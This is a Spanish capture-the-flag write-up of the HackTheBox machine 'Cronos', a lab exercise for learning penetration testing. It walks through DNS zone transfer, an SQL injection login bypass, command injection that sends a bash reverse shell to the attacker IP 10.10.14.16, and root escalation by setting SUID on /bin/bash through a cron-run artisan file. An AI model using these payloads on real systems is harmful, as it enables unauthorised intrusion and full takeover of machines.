Descripción

  • Nivel: Intermedia (Según HackTheBox).
  • Temas a tratar: Enumeración, DNS AXFR, SQLi, Command Injection, Cron Jobs, PHP.
  • OS: Linux.
  • Plataforma: HackTheBox
  • Fecha de retiro: 26/05/2017
  • IP victima: 10.10.10.13
  • IP atacante: 10.10.14.16

Enumeración

Comenzamos enumerando todos los puertos bajo el protocolo TCP de la máquina.

1
2
3
4
5
6
sudo nmap -p- -sS -Pn -n --min-rate 5000 -T4 -vv $Target -oG allports
Not shown: 63388 closed tcp ports (reset), 2144 filtered tcp ports (no-response)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
53/tcp open domain syn-ack ttl 63
80/tcp open http syn-ack ttl 63

Los puertos más interesantes en esta máquina son el 80 y el 53.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
sudo nmap -p22,53,80 -sVC $Target
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-12 14:01 CST
Nmap scan report for 10.10.10.13
Host is up (0.13s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 18:b9:73:82:6f:26:c7:78:8f:1b:39:88:d8:02:ce:e8 (RSA)
| 256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA)
|_ 256 1a:0e:e7:ba:00:cc:02:01:04:cd:a3:a9:3f:5e:22:20 (ED25519)
53/tcp open domain ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.10.3-P4-Ubuntu
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Puerto 80

A primera vista, no parece haber nada interesante en este puerto, así que lo agregamos al archivo /etc/hosts con el siguiente comando:
echo "10.10.10.13 cronos.htb" | sudo tee -a /etc/hosts.
Con esto, ahora nos dirigimos al sitio cronos.htb.

:::note
Esto lo hacemos por que es algo común en plataformas tipo CTF tener que agregar el domino, revisando varios writeups, la manera para obtener el dominio del sito es mediante la herramienta nslookup.
:::
En este sitio no encontramos nada interesante, así que obtengamos información a partir del dominio.

Puerto 53

Utilicemos la herramienta dig para realizar una solicitud de Transferencia de Zona (AXFR), para ver si nos comparte algún subdominio existente. En máquinas CTF, cuando existe este puerto abierto, es muy probable que se tenga que realizar este proceso. En este caso, nos devuelve lo siguiente:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
dig AXFR cronos.htb @$Target

; <<>> DiG 9.20.1-1-Debian <<>> AXFR cronos.htb @10.10.10.13
;; global options: +cmd
cronos.htb. 604800 IN SOA cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
cronos.htb. 604800 IN NS ns1.cronos.htb.
cronos.htb. 604800 IN A 10.10.10.13
admin.cronos.htb. 604800 IN A 10.10.10.13
ns1.cronos.htb. 604800 IN A 10.10.10.13
www.cronos.htb. 604800 IN A 10.10.10.13
cronos.htb. 604800 IN SOA cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
;; Query time: 131 msec
;; SERVER: 10.10.10.13#53(10.10.10.13) (TCP)
;; WHEN: Thu Sep 12 23:03:10 CST 2024
;; XFR size: 7 records (messages 1, bytes 203)

Nos devuelve 3 subdominios diferentes. De ellos, el que más me resulta interesante es admin.cronos.htb, ya que esto suele ser un portal de administración, lo cual es una mala práctica. Se recomienda revisar todos los subdominios, ya que este podría ser un rabbit hole.

Portal admin

Al ingresar, nos encontramos con lo siguiente:

No me da información útil para saber si se trata de un CMS u otro sitio conocido donde podamos probar credenciales por defecto. Si este fuera el caso, usaríamos la herramienta DefaultCreds Cheat Sheet.
En este caso intenté con las credenciales clásicas admin/admin o root/root, pero ninguna funcionó. Esto indica que el portal es un login propio y es muy probable que sea vulnerable a un SQL Injection.
Probé con las credenciales admin/' or 1=1 -- -, pero no funcionó. Luego intenté probar el SQLi en ambos campos ' or 1=1 -- -/' or 1=1 -- -.

Bingo!!

Obtener Shell

Esta interfaz me recuerda a varias máquinas como Perfection o CozyHosting (actualmente no tengo WriteUp’s de estas máquinas, pero recomiendo revisar los videos de Ippsec sobre ellas).
Volviendo a la máquina, intentemos un clásico Command Injection para verificar si el sitio es vulnerable, agregando después de la IP lo siguiente: ; sleep 5.
:::note
Antes de probar algo en un sitio, debemos pensar en cómo funciona la aplicación web en segundo plano, para no romper algo en un entorno real. En este caso, sospecho que la aplicación está ejecutando el comando traceroute 8.8.8.8 en el fondo.
:::
Al ejecutar este comando, el sitio tardó 5 segundos en responder. Esto significa que el command injection es posible. Entonces, enviemos directamente una reverse shell, agregando lo siguiente al campo existente: ; /bin/bash -c 'bash -i >& /dev/tcp/10.10.14.16/443 0>&1'.

Visualizando la vulnerabilidad y exfiltración de datos

Lo que se menciona en este punto no forma parte del proceso de resolución de la máquina, pero puede ser útil en un entorno real.

Vulnerabilidad

SQLi

Al obtener acceso a la máquina, podemos visualizar el contenido del archivo index.php. Este archivo contiene el código fuente del sitio, y nos centraremos en la parte relevante donde el código es vulnerable a SQLi:

1
2
3
4
5
6
7
8
$myusername = $_POST['username'];
$mypassword = md5($_POST['password']);

$sql = "SELECT id FROM users WHERE username = '".$myusername."' and password = '".$mypassword."'";
$result = mysqli_query($db,$sql);
$row = mysqli_fetch_array($result,MYSQLI_ASSOC);

$count = mysqli_num_rows($result);

Podemos ver que el contenido del campo username se almacena en la variable myusername, y la contraseña se hashea con MD5, razón por la cual el SQLi no funcionaba en el campo de la contraseña.
En una ejecución normal, la consulta SQL sería la siguiente:

1
SELECT id FROM users WHERE username = 'admin' and password = 'SuperSecretPa$$word';

Pero al agregar una sentencia SQL en el campo del usuario, sucede lo siguiente:

1
SELECT id FROM users WHERE username = '' or 1=1 -- -' and password = 'password??';

Dado que el sitio deja todo el trabajo de verificar al usuario a la sentencia SQL, mientras esta devuelva una columna, nos permitirá acceder al sitio welcome.php, donde se encuentra la vulnerabilidad de command injection.

1
2
3
4
$count = mysqli_num_rows($result);
// If result matched $myusername and $mypassword, table row must be 1 row

if($count == 1) {

Command Injection

Esta vulnerabilidad se encuentra en el sitio, ya que no se sanitiza el contenido que se envía.
Al revisar el código fuente, me encontré con otra forma de inyectar comandos, pero no nos enfocaremos en ese método, sino en el que se utiliza en este WriteUp, que es colocando 8.8.8.8; /bin/bash -c 'bash -i >& /dev/tcp/10.10.14.16/443 0>&1', donde se produce el Command Injection.

1
2
3
4
5
6
7
if($_SERVER["REQUEST_METHOD"] == "POST") {
//print_r($_POST);
$command = $_POST['command'];
$host = $_POST['host'];
exec($command.' '.$host, $output, $return);
//print_r($output);
}

En este código encontramos la función exec, que ejecuta comandos del sistema. Como mencionamos, este código no verifica que el valor ingresado en el campo host sea solo una dirección IP, por lo que cuando agregamos ;, le estamos diciendo que, una vez termine con ese comando, ejecute el siguiente.

Por ejemplo:

1
echo "Hola"; ls

En este caso, se ejecuta primero el comando echo "Hola" y luego el comando ls.

Exfiltración de datos

Existe un archivo config.php que contiene credenciales para una base de datos. En un entorno real, esto nos permitiría no solo obtener información de la base de datos, sino también, dependiendo de la configuración, leer y escribir archivos en la máquina.

1
2
3
4
5
6
7
<?php
define('DB_SERVER', 'localhost');
define('DB_USERNAME', '*****');
define('DB_PASSWORD', 'kEjd***************');
define('DB_DATABASE', '*****');
$db = mysqli_connect(DB_SERVER,DB_USERNAME,DB_PASSWORD,DB_DATABASE);
?>

Escalada de Privilegios

En este caso, con el usuario www-data pudimos obtener la flag del archivo user.txt, por lo que es muy probable que la escalada de privilegios sea directamente hacia el usuario root.
Para esta máquina, utilicé la siguiente checklist: Linux Privilege Escalation. También podemos emplear el script LinPEAS, aunque no soy muy fan de estas herramientas. Su uso en el OSCP aún no me queda del todo claro (Revisar este sitio para más información y Mirar este artículo de OffSec), por lo que prefiero no utilizarlo, por si acaso.
Inicialmente, no encontraremos nada interesante en esta máquina, pero utilizando la herramienta pspy para detectar algún proceso que se esté ejecutando periódicamente, encontramos lo siguiente:

Vemos un proceso ejecutado bajo el UID 0, es decir, bajo el usuario root. Este proceso está ejecutando un archivo llamado artisan mediante PHP. Primero, veamos si tenemos permisos de lectura o escritura.

Efectivamente, tenemos permisos tanto de lectura como de escritura, así que investiguemos qué hace este archivo. La documentación de Laravel nos indica lo siguiente:

En la primera línea, se menciona que artisan es una interfaz de línea de comandos que se incluye con Laravel, un framework de PHP. Al abrir este archivo, encontramos código PHP, lo que significa que podríamos intentar ejecutar algún comando del sistema usando funciones de PHP como exec o shell_exec.
Probemos con exec para otorgarnos permisos SUID en bash y así escalar los privilegios directamente.
:::note
También podemos enviarnos una reverse shell a otro puerto, pero prefiero variar un poco el método de escalada de privilegios.
:::
Archivo artisan:

Como mencionamos anteriormente, este archivo contiene código PHP, así que agregaremos una línea con la función exec para otorgar permisos SUID sobre /bin/bash con el siguiente comando: chmod u+s /bin/bash.

Con esta línea agregada, guardamos el archivo y, tras esperar un momento, ejecutamos bash -p para iniciar Bash en modo privilegiado, lo que nos permite mantener los privilegios SUID asignados al binario de Bash, si los tiene, sin importar el nivel del usuario.


Happy Hacking!!